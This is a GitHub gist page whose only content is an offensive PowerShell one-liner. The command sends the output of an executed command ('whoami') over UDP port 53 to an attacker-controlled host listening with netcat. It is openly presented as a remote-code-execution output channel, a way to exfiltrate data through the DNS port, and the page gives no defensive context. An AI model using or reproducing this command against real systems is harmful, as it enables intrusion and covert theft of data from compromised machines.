Skip to content

Instantly share code, notes, and snippets.

@jivoi

jivoi/powershell-udp-rce-output.txt

Forked from ignis-sec/powershell-udp-rce-output.txt
Created July 14, 2020 19:32
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jivoi/1f122a219f6485c918adb2c88011e919 to your computer and use it in GitHub Desktop.
Save jivoi/1f122a219f6485c918adb2c88011e919 to your computer and use it in GitHub Desktop.
Download ZIP
powershell command to return executed command output from 53/udp.
Raw
powershell-udp-rce-output.txt
# On your host:
# $ nc -lnvup 53
# Replace <HOSTIP> with ip of the listening machine
powershell -nop -c "$s=New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Dgram,[System.Net.Sockets.ProtocolType]::UDP);$s.Connect((New-Object System.Net.IPEndPoint([system.net.IPAddress]::Parse(\"<HOSTIP>\"),53)));$s.send(([System.Text.Encoding]::ASCII).GetBytes((whoami)));"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment